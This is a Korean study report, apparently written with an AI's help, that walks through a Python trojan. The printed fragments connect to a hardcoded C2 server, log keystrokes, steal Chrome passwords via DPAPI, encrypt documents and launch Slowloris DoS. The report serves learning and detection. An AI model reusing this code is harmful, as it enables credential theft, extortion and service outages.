트로이목마 코드 상세분석
이 분석은 제가 분석하고 이해한 것들, 주관적인 분석+질문+ai의 도움받아 정리한 보고서 입니다.
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
AF_INET: IPv4 사용
SOCK_STREAM: TCP 사용self.s.connect(("54.69.185.61", 5715))
IPv4 기반의 TCP 통신 통로를 만든 뒤, 54.69.185.61 서버의 5715번 포트에 연결합니다. 즉 감염 PC가 C2 서버와 명령 및 데이터를 주고받기 위한 네트워크 연결을 만드는 코드입니다.
messageQ의 Q는 무엇인가
self.messageQ = Queue()Q는 특별한 Python 문법이 아니라 개발자가 **Queue(큐)**를 짧게 표시한 변수명입니다.
messageQ = message queue = 메시지 대기열큐는 먼저 넣은 데이터를 먼저 꺼내는 FIFO(선입선출, First In First Out) 구조입니다.
패킷 A 투입 → 패킷 B 투입 → 패킷 C 투입
패킷 A 전송 → 패킷 B 전송 → 패킷 C 전송공격 기능들은 데이터를 소켓으로 바로 보내지 않고 큐에 넣습니다.
self.messageQ.put(pkt)별도의 송신 스레드는 큐에서 하나씩 꺼내 전송합니다.
pkt = self.messageQ.get()
pkt.send(self.s)이렇게 하면 화면 캡처, 키로그, 비밀번호 탈취 스레드가 동시에 결과를 만들어도 여러 스레드가 소켓에 마구 섞어서 쓰는 것을 줄일 수 있습니다.
def keylog(self,pkt):
import shutil
path = "C:\Windows\System32\keylogs.txt"
kl = keylog.keyLogger(path)
threading.Thread(target=kl.run).start()
for i in range(0,1440):
time.sleep(60)
k = open(path,"rb")
state = "145"
data = k.read()
size = len(data)
pkt.state = state
pkt.data = data
pkt.length = size
self.enqueue(pkt)keylog의 “키”는 암호화 키가 아니라 사용자가 키보드에서 누른 키입니다.
연결된 keylog.py는 Windows 키보드 입력을 후킹해 다음과 같이 기록합니다.
- 일반 문자:
a,b,1등
- Enter:
<ENTER>
- Backspace:
<BACKSPACE>
- Tab:
<TAB>
예를 들어 사용자가 입력하면:
hello<BACKSPACE>p<ENTER>다음 파일에 저장됩니다.
C:\Windows\System32\keylogs.txt그리고 현재 코드가 60초마다 그 파일 전체를 바이너리로 읽어:
data = k.read()state=145 패킷으로 C2에 전송합니다.
다만 구현이 단순해서 한글, 기능키, 방향키 같은 특수 입력은 정상적으로 기록되지 않을 수 있습니다. 또한 전송 후 파일을 비우지 않으므로 이전 키 입력까지 매분 반복해서 전송합니다. shutil은 import만 하고 실제로 사용하지 않습니다.
for i in range(0, 1440):time.sleep(60)
1,440회 × 60초 = 86,400초 = 24시간즉 키로그 파일을 1분마다 한 번씩, 약 24시간 동안 읽어서 전송
질문 : 키로그를 보내달라고 하면 24시간 동안 1분마다 계속 보낸다는 뜻인가?
네, 마스터. state=145 명령을 한 번 받으면 키로거를 시작하고, 약 24시간 동안 1분마다 keylogs.txt 전체 내용을 C2로 전송합니다.
def encrypt(self,pkt):
data = encrypt()
if data != "already encrypted":
pkt.data = data
pkt.length = len(data)
else:
pkt.data = "nope"
pkt.length = 4
self.enqueue(pkt)C2에서 state=146 명령을 받았을 때 피해자의 문서를 암호화하고, 복구 키를 C2로 돌려보내는 함수입니다.
data = encrypt()외부 encryption.py의 encrypt()를 실행합니다. 성공하면 data에 문서 복구용 AES 키가 반환됩니다.
if data != "already encrypted":
pkt.data = data
pkt.length = len(data)반환값이 "already encrypted"가 아니면 복구 키를 패킷에 넣습니다.
반대로 이미 처리된 것으로 판단하면:
pkt.data = "nope"
pkt.length = 4키 대신 "nope"라는 실패 응답을 넣습니다.
마지막으로:
self.enqueue(pkt)응답 패킷을 통신용 AES 키로 암호화해 C2 전송 큐에 넣습니다.
C2의 state 146 명령
→ Documents 암호화
→ 복구 키 생성
→ 복구 키를 응답 패킷에 저장
→ C2로 전송여기서 반환되는 data는 앞에서 본 C2 통신용 self.key와 별개의 파일 복구용 키입니다.
ef passwords(self,pkt):
message = passwords.getChromePasswords()
state = "144"
data = "\n".join(message)
size = len(data)
pkt.state = state
pkt.data = data
pkt.length = size
self.enqueue(pkt)Chrome에 저장된 로그인 정보를 수집해서 C2로 전송하려는 함수입니다.
message = passwords.getChromePasswords()passwords 모듈을 호출해 Chrome 저장 비밀번호 목록을 가져옵니다.
data = "\n".join(message)수집된 여러 항목을 줄바꿈으로 연결해 하나의 문자열로 만듭니다.
size = len(data)전송할 데이터의 길이를 계산합니다.
pkt.state = "144"
pkt.data = data
pkt.length = size패킷에 비밀번호 수집 결과임을 나타내는 144, 수집 데이터, 데이터 길이를 넣습니다.
self.enqueue(pkt)데이터를 통신용 AES 키로 암호화한 뒤 C2 서버로 전송합니다.
질문 : 크롬의 뭘 보고 가져오는 것인가?
마스터, 현재 passwords.py가 없어서 이 악성코드가 정확히 무엇을 읽는지는 확정할 수 없습니다.
일반적으로 Windows의 Chrome 저장 비밀번호 탈취 코드는 사용자 프로필에 있는 Login Data라는 SQLite 데이터베이스를 확인합니다. 여기에는 보통 다음 정보가 들어 있습니다.
- 로그인한 웹사이트 주소
- 사용자 이름
- 암호화된 비밀번호
비밀번호는 그대로 저장되지 않고 Windows 사용자 계정에 연결된 DPAPI 등의 방식으로 보호됩니다. 악성코드가 피해자와 동일한 Windows 계정 권한으로 실행되면 Windows 기능을 호출해 복호화를 시도할 수 있습니다.
즉 방문 기록 전체를 보는 기능이라기보다, Chrome에서 “비밀번호 저장”을 선택해 보관된 로그인 정보를 노리는 것으로 추정됩니다. 다만 이 프로젝트에서는 해당 모듈이 누락되어 실제 구현은 확인되지 않습니다.
질문 : 비밀번호 저장 기능에서 탈취해 오는 것인가? 하지만 DB는 보통 사용와랑 암호를 알아야 사용 할 수 있지 않은가?
일반적인 서버형 DB와 달리 Chrome의 Login Data는 PC에 저장된 로컬 SQLite 파일이라 별도의 DB 사용자명이나 비밀번호가 없습니다, 마스터.
일반 서버 DB
→ 서버 접속 계정과 비밀번호 필요
Chrome SQLite DB
→ 해당 파일을 읽을 권한이 있으면 DB 내용 조회 가능다만 저장된 비밀번호 값 자체는 암호화되어 있습니다. 2014년 무렵 Windows Chrome은 주로 현재 Windows 사용자 계정에 연결된 DPAPI로 보호했습니다.
악성코드가 Chrome 사용자와 같은 Windows 계정으로 실행되면:
Login Data 파일 읽기
→ 암호화된 비밀번호 추출
→ 현재 사용자의 Windows DPAPI 호출
→ 비밀번호 복호화 시도따라서 별도의 DB 암호를 알아내는 것이 아니라, 이미 로그인된 피해자의 Windows 권한을 악용하는 방식입니다. 최신 Chrome은 추가 보호 기능이 적용되어 같은 방식이 항상 성공하지는 않습니다.
질문 : DPAPI 는 어떻게 작동하는가?
마스터, DPAPI는 Windows가 프로그램 대신 암호화 키를 관리해 주는 기능입니다.
프로그램은 Windows에 이렇게 요청합니다.
“이 비밀번호를 현재 사용자만 풀 수 있게 암호화해 줘.”Windows는 해당 사용자의 자격증명으로 보호되는 마스터 키를 사용해 데이터를 암호화합니다.
Chrome 비밀번호
→ DPAPI의 CryptProtectData()
→ 암호화된 값
→ Login Data에 저장복호화할 때는:
암호화된 값
→ DPAPI의 CryptUnprotectData()
→ 원래 비밀번호DPAPI에는 대표적으로 두 범위가 있습니다.
- 사용자 범위: 암호화한 Windows 사용자 계정에서 복호화
- 컴퓨터 범위: 같은 Windows 컴퓨터에서 복호화 가능
Chrome은 당시 주로 사용자 범위를 이용했습니다. 그래서 악성코드가 피해자와 같은 계정 권한과 로그인 환경에서 실행되면, 별도의 비밀번호를 몰라도 Windows에 복호화를 요청할 수 있습니다.
즉 DPAPI가 해킹된 것이 아니라, Windows 입장에서는 악성코드도 현재 사용자 권한으로 실행되는 프로그램이므로 정상적인 사용자의 요청과 구분하기 어려운 것입니다. EDR은 이런 상황에서 비정상 프로세스가 Chrome DB를 읽고 DPAPI 복호화를 호출하는 행동을 탐지합니다.
질문 : 그럼 외부사용자가 DPAPI에 접근해도 PC의 사용자가 아니라서 사용 할수 없겠군
(
네, 마스터. 일반적으로 외부 사용자가 Login Data 파일만 복사해 가서는 DPAPI로 비밀번호를 복호화하기 어렵습니다. 해당 Windows 사용자의 DPAPI 마스터 키와 이를 풀 수 있는 사용자 자격증명 등이 필요하기 때문입니다.
다만 악성코드가 피해자 계정으로 PC 안에서 실행되거나, 로그인 세션·마스터 키·자격증명까지 탈취하면 복호화될 수 있습니다. 즉 DPAPI는 외부에서 파일만 가져가는 공격에는 강하지만, 이미 사용자 권한으로 내부 실행된 악성코드까지 완전히 막는 장치는 아닙니다.
self.key는 무슨 키인가
self.key = os.urandom(16)여기서 키는 키보드 키가 아니라 암호화 키입니다.
os.urandom(16)은 운영체제의 안전한 난수 생성기를 이용해 무작위 16바이트를 만듭니다.
16바이트 = 128비트이 코드에서는 이 값을 AES-128 통신 암호화 키로 사용합니다. 실제 값은 실행할 때마다 달라집니다.
예를 들어 개념적으로는 다음과 같은 바이너리 값입니다.
A7 31 9C 02 ... 총 16바이트
self.key = os.urandom(16)
TCP_IP = ip
TCP_PORT = port
self.RSAPublicKey = '-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAonQkIgH5+WBaEGAfqH6J\nGW3M7vYwPCHz9tmz1ToH82YVDBaX9qNUxJRs3t5QNrvgNo9Dfem6nnXpgIdSykhe\nO1EB2CVJ2Z92bewBmYu8Pda3BOURq0mi1gsn5fna3JVyQkB/gElSld0elQ5BubKn\n6wCh3tCWj8FS66DY8U9f6aeRMN1QBPPprd1zsbixafeLg5Cc+utIXCtRTZDeCL2d\n7pccI276OC2r7GHwMUAsFqdYpva2W4PmC+AHe9eZk9FknCc/pXD8AdeUccDAZ7wR\no/VFqbKCQR6Ei6ooUFXGEXdJU9tEuxPYb+CM1uGjEyqvuDGvUJS+fbOtMhM1L/kS\nKwIDAQAB\n-----END PUBLIC KEY-----'
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect((TCP_IP, TCP_PORT))
self.sendAESKey()AES 키와 RSA 키를 같이 사용하는가
AES는 데이터를 빠르게 암호화할 수 있지만, 감염 PC가 만든 AES 키를 공격자에게 안전하게 전달해야 한다는 문제가 있습니다. 그래서 RSA를 함께 사용합니다.
감염 PC
│
├─ 무작위 AES 키 생성
│
├─ 공격자의 RSA 공개키로 AES 키 암호화
│
└─ 암호화된 AES 키를 C2 서버로 전송
│
└─ 공격자가 RSA 개인키로 복호화공개키는 암호화에 사용할 수 있지만, 해당 공개키에 대응하는 개인키가 있어야 원래 AES 키를 복원할 수 있습니다. 공격자는 개인키를 서버 측에 가지고 있다고 가정한 구조입니다.
이 과정을 수행하는 호출이 다음 부분입니다.
self.sendAESKey()그 후 화면 이미지, 키로그, 비밀번호 같은 결과는 self.key를 사용해 AES로 암호화됩니다.
AES 키 생성
self.key = os.urandom(16)감염 PC가 무작위 16바이트 값을 생성합니다.
예시 AES 키: [무작위 16바이트]이 키로 이후 명령과 결과를 빠르게 암호화합니다. 하지만 C2 서버도 같은 키를 알아야 복호화할 수 있습니다.
RSA 공개키로 AES 키 포장
코드에는 공격자의 RSA 공개키가 들어 있습니다.
RSA 공개키: 누구나 데이터를 암호화할 수 있음
RSA 개인키: 암호화된 데이터를 풀 수 있음공개키를 자물쇠, 개인키를 그 자물쇠의 열쇠라고 생각하면 쉽습니다.
감염 PC가 AES 키를 상자에 넣음
↓
RSA 공개키라는 자물쇠로 잠금
↓
잠긴 상자를 C2 서버로 전송감염 PC는 공개키만 가지고 있으므로 상자를 잠글 수는 있지만, 다시 열 수는 없습니다.
C2가 개인키로 복호화
C2 서버에는 공개키와 한 쌍인 RSA 개인키가 있다고 가정합니다.
RSA로 암호화된 AES 키
↓ RSA 개인키로 복호화
원래 AES 키이제 감염 PC와 C2 서버가 동일한 AES 키를 알고 있으므로 서로 데이터를 암호화하고 복호화할 수 있습니다.
감염 PC C2 서버
AES 키 동일한 AES 키
│ │
데이터 AES 암호화 ───────────→ AES 복호화
데이터 AES 복호화 ←─────────── AES 암호화왜 RSA로 모든 데이터를 암호화하지 않나
RSA는 키를 안전하게 전달하는 데 편리하지만 느리고 한 번에 처리할 수 있는 데이터 크기도 제한됩니다. AES는 화면 이미지나 키로그처럼 큰 데이터를 빠르게 처리합니다.
그래서 다음처럼 역할을 나눕니다.
RSA → AES 키를 안전하게 전달
AES → 실제 명령과 데이터를 빠르게 암호화즉 os.urandom(16)으로 만든 것은 이번 연결에서 사용할 비밀 통신 키이고, RSA는 그 비밀 키를 C2 서버에 안전하게 전달하기 위한 포장 수단입니다. HTTPS에서도 세부 방식은 다르지만 이와 비슷하게 공개키 암호와 대칭키 암호를 함께 사용합니다.
가장 큰 차이는 암호화와 복호화에 같은 키를 사용하는지입니다.
AES
AES는 대칭키 암호화입니다.
평문 ── AES 키로 암호화 ──→ 암호문
암호문 ── 같은 AES 키로 복호화 ──→ 평문- 암호화와 복호화에 같은 키를 사용합니다.
- 처리 속도가 빠릅니다.
- 이미지나 파일처럼 큰 데이터를 암호화하는 데 적합합니다.
- 상대에게 같은 키를 안전하게 전달해야 한다는 문제가 있습니다.
예:
비밀 키: K
"HELLO" + K → 암호문
암호문 + K → "HELLO"RSA
RSA는 비대칭키 암호화입니다. 서로 다른 두 키를 사용합니다.
공개키로 암호화 → 개인키로 복호화- 공개키는 다른 사람에게 알려줘도 됩니다.
- 개인키는 소유자만 보관해야 합니다.
- 공개키로 잠근 데이터는 대응하는 개인키로 풉니다.
- AES보다 느리고 큰 데이터를 직접 암호화하기에는 부적합합니다.
- 작은 비밀값이나 AES 키를 전달하는 데 사용합니다.
이 코드에 적용하면
AES: C2 명령과 탈취 데이터를 빠르게 암호화
RSA: 그 AES 키를 공격자에게 안전하게 전달즉 AES는 실제 짐을 운반하는 빠른 차량이고, RSA는 그 차량의 비밀 열쇠를 안전하게 전달하는 장치라고 이해하시면 됩니다.
질문 : 그럼 만약 보안 담당자가 모니터링을 하고 있다고 가정하고
AES만으로 패킷을 주고 받을때와
RSA+AES로 주고 받을 때 각각 어떻게 보이는가?
마스터, 보안 담당자가 네트워크만 모니터링한다면 실제 데이터 구간은 둘 다 AES 암호문이라 비슷하게 보입니다. 차이는 AES 키를 전달하는 초기 과정입니다.
| 관찰 시점 | AES만 사용 | RSA+AES 사용 |
|---|---|---|
| 연결 직후 | 키가 평문으로 전달되거나, 키 전달이 없음 | RSA로 암호화된 큰 키 교환 데이터가 전송됨 |
| 이후 통신 | AES 암호문 | AES 암호문 |
| 키 확보 가능성 | 평문 전달이면 패킷에서 확보 가능 | RSA 개인키 없이는 네트워크에서 복구하기 어려움 |
| 키가 코드에 고정된 경우 | 악성코드에서 키 하나를 추출하면 다른 통신도 해독 가능 | 감염 PC마다 AES 키가 달라질 수 있음 |
| 탐지 가능 정보 | IP·포트·크기·주기 | 동일하게 IP·포트·크기·주기 확인 가능 |
AES 키를 평문으로 전달하는 경우
감염 PC → [AES 키: 그대로 노출] → C2
감염 PC ↔ [AES 암호문] ↔ C2보안 담당자가 첫 패킷부터 기록했다면 AES 키를 확보해 이후 데이터를 복호화할 가능성이 있습니다.
RSA+AES인 경우
감염 PC → [RSA로 암호화된 AES 키] → C2
감염 PC ↔ [AES 암호문] ↔ C2보안 담당자는 키 교환 데이터까지 수집해도 RSA 개인키가 없으면 AES 키를 바로 알아낼 수 없습니다.
다만 AES만 사용하는 악성코드가 키를 프로그램 안에 미리 넣어 두었다면 네트워크에는 키가 아예 나타나지 않습니다. 이 경우 네트워크 화면은 RSA+AES의 실제 데이터 구간과 거의 비슷하지만, 악성코드를 확보해 고정 키를 추출하면 복호화가 훨씬 쉬워집니다.
이 코드에서는 state, 주소, 데이터 길이 같은 패킷의 구조 정보는 별도로 보이고, 실제 data 부분만 암호화되므로 보안 담당자가 명령 코드별 통신 횟수와 크기를 분석할 여지도 있습니다.
질문 : 담당자가 패킷을 봤을때 어라? 이건 뭔데 RSA+AES로 통신하고 있지? 라고 의심 할 수 있지 않나?
네, 마스터. 의심할 수는 있지만, 패킷만 보고 곧바로 RSA+AES라고 확정하기는 어렵습니다.
정상적인 HTTPS, VPN, 메신저, 게임도 공개키 암호와 AES 같은 대칭키를 조합해 사용하기 때문입니다. 암호화 자체는 매우 흔합니다.
대신 보안 담당자는 여러 정황을 함께 봅니다.
- 알려지지 않은 IP의 비표준
5715/TCP포트로 직접 연결
- TLS 같은 알려진 표준 프로토콜 형식이 아님
- 연결 직후 큰 암호문을 보내고 이후 일정한 크기의 암호문을 반복 전송
- 정상 프로그램으로 식별되지 않는 프로세스가 통신
- 화면 캡처·키로깅·문서 변경 같은 PC 내부 행위가 동시에 발생
즉 판단은 다음과 같습니다.
RSA+AES 사용 → 악성이라고 단정할 수 없음
비표준 암호화 통신 + 수상한 목적지·프로세스·행동
→ 악성 C2 통신으로 의심이 코드에서는 표준 TLS가 아니라 자체 패킷 형식으로 암호화를 구현했기 때문에, 정상적인 HTTPS와 다른 통신 패턴이 오히려 탐지 단서가 될 수 있습니다.
정리 : 보안 담당자가 AES키를 확보 한다면 RSA를 걸었어도 암호화는 사실상 무력화 된다.
그렇다면 RSA는 왜 하는가?
RSA는 감염 PC를 직접 조사하는 보안 담당자가 아니라, 네트워크 중간에서 패킷만 관찰하는 대상을 막기 위한 것감염 PC → 방화벽·IDS·패킷 수집 장비 → C2
중간 장비는 암호화된 AES 키만 보기 때문에 RSA 개인키 없이는 실제 AES 키를 알기 어려움. 또한 감염 PC마다 AES 키가 달라서 한 PC의 키가 노출되어도 다른 PC의 통신까지 풀리지는 않음
키포인트 : 암호화는 항상 암호화되기 전과 복호화된 후의 종단에서는 데이터가 노출될 수 있다.
if pkt.state == "143":
threading.Thread(target=self.screenshot,args=[pkt]).start()
state는 C2 서버가 클라이언트에게 어떤 작업을 실행할지 알려주는 명령 코드
이는 패킷의 state 값이 "143"이면 화면 캡처를 실행하라는 뜻입니다.
143: 화면 캡처
144: 비밀번호 수집
145: 키로깅
146: 파일 암호화
147: 파일 복호화
149: DDoS 실행
예를 들어 C2가 state="145"인 패킷을 보내면 다음 함수가 새로운 스레드에서 실행됩니다.
threading.Thread(target=self.keylog, args=[pkt]).start()즉, 여기서 state는 프로그램의 실행 상태라기보다 패킷에 들어 있는 명령 번호 또는 작업 종류에 가깝습니다.
질문 : 패킷에는 왜 고유번호가 부여되어 있는가?
패킷 자체마다 고유 번호가 있는 것이 아니라, 패킷 안의 state 필드에 수행할 명령 번호가 들어갑니다.
예:
패킷
├─ state: 143
├─ length: 데이터 길이
└─ data: 명령에 필요한 데이터state=143이면 화면 캡처 명령으로 해석합니다. 동일한 143 패킷을 여러 번 보낼 수도 있으므로 패킷 식별번호가 아니라 명령 종류 코드입니다.
질문 : 그럼 예를 들어서 a가 게임이랑 유튜브 감상, 디스코드, 카톡 같은걸 하고 있다고 해봐 그러면 엄청 다양한 패킷들이 들어올 것이다.
패킷은 각자 맞는 곳에 가서 조각 맞추듯이 맞추는걸로 아는데 거기서 state가 어떻게 부여되고 조립되는가?



질문: 그럼 기본적으로는 저 state가 안 붙는 것인가?
일반적인 네트워크 패킷에는 저 악성코드의 state 값이 붙지 않습니다.
state는 악성코드 개발자가 자신들의 통신 규칙에 임의로 추가한 필드입니다. 다른 프로그램들은 각자 HTTP 헤더, 메시지 타입 등 서로 다른 형식을 사용합니다.
질문 : 기본적인 패킷의 구성은 어떻게 되는가?
TCP 통신 기준으로 기본 구성은 여러 계층이 겹쳐진 형태입니다.
[이더넷 헤더]
├─ 출발지 MAC 주소
├─ 목적지 MAC 주소
└─ 상위 프로토콜 종류
[IP 헤더]
├─ 출발지 IP
├─ 목적지 IP
├─ TTL
└─ TCP/UDP 구분
[TCP 헤더]
├─ 출발지 포트
├─ 목적지 포트
├─ 순서 번호
├─ 확인 번호
└─ 연결 상태 플래그
[데이터]
└─ 프로그램이 정의한 실제 내용
예: HTTP 요청, 채팅 메시지, 악성코드의 state와 명령 데이터즉 다음처럼 포장됩니다.
이더넷 [ IP [ TCP [ 응용프로그램 데이터 ]]]state=143은 IP나 TCP 헤더가 아니라, 가장 안쪽의 응용프로그램 데이터에 들어갑니다. 네트워크 장비는 주로 바깥쪽 헤더를 사용해 전달하고, 최종 프로그램은 안쪽 데이터를 해석합니다.
질문 : 그럼 이제 게임을 예로 들면 게임 클라이언트에서 게임 연산 서버에 데이터를 보낼때 패킷에 자기들이 필요한 정보들을 추가해서 보내는거라고 이해하면 되는가?
네, 마스터. 정확합니다.
게임 클라이언트는 TCP나 UDP가 운반하는 응용프로그램 데이터 영역에 게임에서 필요한 정보를 자체 형식으로 넣어 서버에 보냅니다.
메시지 종류: 캐릭터 이동
플레이어 ID: 1234
좌표: X=50, Y=20
방향: 북쪽
입력 시각: 12.35초게임 서버는 클라이언트와 동일한 규칙으로 데이터를 해석해 이동 등을 처리합니다.
단, 치팅 방지를 위해 서버는 받은 값을 그대로 믿지 않고 이동 속도, 충돌, 소유권 등이 정상인지 다시 검증합니다.
질문 : 공격대상-c2-공격자 에게 오는 패킷이 원하는 것들만 오는데
state를 부여 안 하면 어떤 패킷인지 구분 못하는가?
네, 마스터. C2 연결로 들어오는 데이터가 모두 이 악성코드용이라고 해도, 각각 무엇을 의미하는지는 별도로 표시해야 합니다. 그 표시가 state입니다.
운영체제는 여기까지만 구분합니다.
게임 통신 → 게임 프로그램
디스코드 통신 → 디스코드
C2 통신 → 악성 클라이언트의 self.s하지만 self.s 안으로 들어온 뒤에는 다음처럼 여러 종류의 메시지가 섞일 수 있습니다.
C2 연결 내부
├─ 메시지 1: 화면을 캡처하라
├─ 메시지 2: 키로깅을 시작하라
├─ 메시지 3: 이 IP를 공격하라
└─ 메시지 4: 파일을 암호화하라데이터만 보내면 의미가 불분명할 수 있습니다. 예를 들어 C2가 다음 데이터를 보냈다고 하겠습니다.
example.comstate가 없다면 클라이언트는 이것이 무엇인지 알 수 없습니다.
- 접속할 주소인가?
- DDoS 대상인가?
- 저장할 문자열인가?
- 암호화할 파일 이름인가?
그래서 다음처럼 명령 종류와 데이터를 함께 보냅니다.
state = 149
data = example.com클라이언트는 이를 다음과 같이 해석합니다.
149 → DDoS 명령
example.com → 공격 대상화면 캡처처럼 추가 데이터가 필요 없는 명령도 있습니다.
state = 143
data = 없음그러면 클라이언트는 143을 보고 screenshot()을 실행합니다.
응답을 구분할 때도 사용됩니다
클라이언트가 C2로 결과를 돌려보낼 때도 state를 사용합니다.
state = 143
data = 캡처한 PNG 이미지C2는 이것을 보고 해당 바이너리가 화면 캡처 결과라는 것을 알 수 있습니다.
state = 145
data = 키로그 내용이 경우에는 키로그 결과로 분류합니다.
따라서 전체 구조는 다음과 같습니다.
공격자
↓ 화면 캡처 선택
C2: state=143 전송
↓
감염 PC: 143을 보고 screenshot() 실행
↓
감염 PC: state=143 + 이미지 전송
↓
C2: 143을 보고 화면 캡처 결과로 처리state가 반드시 필요한 유일한 방법은 아닙니다. 명령마다 포트를 따로 사용하거나, JSON으로 {"command":"screenshot"}처럼 보내거나, 항상 정해진 순서로 통신할 수도 있습니다. 하지만 하나의 TCP 연결에서 여러 명령과 결과를 처리하려면 state, command, type, opcode 같은 메시지 종류 표시가 가장 간단합니다.
질문 : 정리하면 악성코드가 원하는 기능을 실행하기 위해서는 저러한 특정 입력값이 무조건 필요하다는 것인가?
네, 마스터. 이 악성코드 구조에서는 원하는 기능을 선택하기 위한 특정 명령 입력값이 필요합니다.
예를 들어:
143 → 화면 캡처
145 → 키로깅
149 → DDoSstate가 없거나 등록되지 않은 값이면 어떤 함수를 실행할지 판단하지 못해 다음 부분으로 넘어갑니다.
print "i don't know that command"다만 특정 기능이 자동으로 실행되도록 따로 작성된 악성코드라면 외부 명령값 없이도 작동할 수 있습니다. 이 코드에서는 C2가 보내는 state가 기능을 실행시키는 선택 신호입니다.
이 코드에서는 숫자를 정수로 보내는 것이 아니라 "143"이라는 문자 3개로 보냅니다. 영문·숫자 한 문자는 일반적인 ASCII/UTF-8에서 1바이트이므로:
"1" = 1바이트
"4" = 1바이트
"3" = 1바이트
합계 = 3바이트따라서 현재 코드의 s.recv(3)은 문자 3개를 읽기 때문에 사실상 000부터 999 같은 세 자리 문자열이나 "ABC" 같은 ASCII 문자 3개를 받을 수 있습니다.
반면 정수 자체를 바이너리로 표현하면 3바이트로 0부터 16,777,215까지 나타낼 수 있습니다.
def ddos(self,pkt):
att = ddos.Loris(pkt.data)
threading.Thread(target=att.initiateAttack).start()
time.sleep(60)
att.endAttack()
Slowloris 방식의 ddos 공격 코드
Slowloris 방식의 ddos 공격 이란?
Slowloris는 웹 서버에 완성되지 않은 HTTP 요청을 아주 천천히 보내 연결을 계속 점유하는 서비스 거부 공격입니다,
일반 요청은 빠르게 끝납니다.
연결 → HTTP 요청 완료 → 서버 응답 → 연결 종료Slowloris는 일부만 보내고 기다립니다.
연결 → HTTP 헤더 일부 전송 → 대기
→ 헤더 조금 추가 → 대기
→ 요청을 완료하지 않음서버는 “아직 요청을 보내는 중”이라고 생각해 연결을 닫지 않고 메모리와 처리 공간을 남겨둡니다. 이런 연결을 수백·수천 개 유지하면 정상 사용자가 접속할 자리가 부족해집니다.
대량의 데이터를 쏟아붓는 공격과 달리 적은 트래픽으로 많은 연결을 오래 점유하는 것이 특징입니다. 다만 요청 제한시간이 짧거나 비동기 처리를 사용하는 현대 서버, 프록시·로드밸런서가 앞에 있는 환경에서는 효과가 제한될 수 있습니다.
이 함수는 C2가 지정한 서버를 대상으로 약 60초 동안 Slowloris 방식의 서비스 거부 공격을 실행하도록 만든 부분입니다.
def ddos(self,pkt):
att = ddos.Loris(pkt.data)
threading.Thread(target=att.initiateAttack).start()
time.sleep(60)
att.endAttack()
이 함수는 C2가 지정한 서버를 대상으로 약 60초 동안 Slowloris 방식의 서비스 거부 공격을 실행하도록 만든 부분입니다.
def ddos(self, pkt):C2에서 받은 패킷 pkt를 입력으로 받는 DDoS 명령 처리 함수입니다. 이 함수는 state="149" 패킷을 받았을 때 실행됩니다.
att = ddos.Loris(pkt.data)pkt.data에 들어 있는 문자열을 공격 대상 주소로 사용해 Loris 객체를 생성합니다.
예를 들어 개념적으로:
pkt.data = 공격 대상 도메인 또는 IPLoris 클래스의 기본 포트가 80이므로 별도 포트가 지정되지 않으면 HTTP 서버의 80번 포트에 연결합니다.
threading.Thread(target=att.initiateAttack).start()initiateAttack()을 별도 스레드에서 실행합니다. 이렇게 하는 이유는 공격 작업이 진행되는 동안 악성 클라이언트의 메인 명령 수신 루프가 멈추지 않게 하기 위해서입니다.
initiateAttack() 내부에서는 대략 다음 작업을 합니다.
- 대상 서버의 연결 제한시간을 측정합니다.
- 약 50개의 작업 스레드를 만듭니다.
- 각 스레드가 최대 10개의 연결을 관리합니다.
- 전체적으로 최대 약 500개의 HTTP 연결을 유지하려고 시도합니다.
각 연결에서는 완전한 HTTP 요청을 보내지 않습니다.
HTTP 요청 시작
→ 일부 헤더만 전송
→ 요청을 끝내지 않음
→ 가끔 추가 헤더를 보내 연결 유지서버는 요청이 아직 전송되는 중이라고 판단해 연결에 필요한 메모리와 작업 공간을 계속 유지합니다. 연결이 지나치게 많아지면 정상 사용자의 요청을 받을 자원이 부족해질 수 있습니다.
time.sleep(60)DDoS 명령을 처리하는 현재 스레드가 60초 동안 기다립니다. 공격을 수행하는 스레드는 별도로 실행되고 있으므로 그동안 연결 점유를 계속 시도합니다.
att.endAttack()60초 후 Loris 객체의 종료 상태를 True로 변경합니다. 각 공격 스레드는 이 값을 확인하고 반복 작업을 중단합니다.
전체 흐름은 다음과 같습니다.
C2가 state=149와 공격 대상 전송
→ pkt.data에서 대상 주소 읽기
→ Slowloris 객체 생성
→ 별도 스레드에서 다수의 HTTP 연결 생성
→ 불완전한 요청으로 연결 점유
→ 60초 후 종료 신호다만 코드에는 몇 가지 문제가 있습니다.
- 공격 전에 서버의 타임아웃을 측정하므로 실제 공격 시간이 정확히 60초가 아닐 수 있습니다.
- 네트워크 오류와 잘못된 대상 주소에 대한 처리가 부족합니다.
- 소켓을 명시적으로 안전하게 닫는 처리가 부실합니다.
state=149명령을 반복해서 받으면 여러 공격 인스턴스가 동시에 실행될 수 있습니다.
- 감염 PC 한 대만 실행하면 DoS에 가깝고, 여러 감염 PC가 같은 대상을 동시에 공격해야 DDoS가 됩니다.
ef enqueue(self,pkt):
pkt.encryptData(self.key)
self.messageQ.put(pkt)
def dequeue(self):
while True:
pkt = self.messageQ.get()
pkt.send(self.s)
print "sent"이 두 함수는 여러 공격 기능에서 만들어진 결과를 전송 대기열에 넣고, 순서대로 C2에 보내는 역할을 합니다.
def enqueue(self, pkt):
pkt.encryptData(self.key)
self.messageQ.put(pkt)enqueue()는 전송할 패킷을 등록합니다.
pkt.encryptData(self.key)화면 이미지, 키로그 같은
pkt.data를 통신용 AES 키로 암호화합니다.
self.messageQ.put(pkt)암호화된 패킷을 메시지 큐의 맨 뒤에 넣습니다.
화면 캡처 결과 ─┐
키로그 결과 ────┼→ AES 암호화 → messageQ
비밀번호 결과 ──┘다음 dequeue()는 대기열의 패킷을 실제로 전송합니다.
def dequeue(self):
while True:프로그램이 실행되는 동안 계속 반복합니다.
pkt = self.messageQ.get()큐의 맨 앞에서 가장 먼저 들어온 패킷을 꺼냅니다. 큐가 비어 있으면 새 패킷이 들어올 때까지 기다립니다.
pkt.send(self.s)꺼낸 패킷을 C2와 연결된 TCP 소켓 self.s로 전송합니다.
print "sent"전송을 시도한 뒤 콘솔에 sent를 출력합니다.
전체 구조는 다음과 같습니다.
공격 기능 실행
→ 결과 패킷 생성
→ AES 암호화
→ messageQ에 저장
→ dequeue가 순서대로 꺼냄
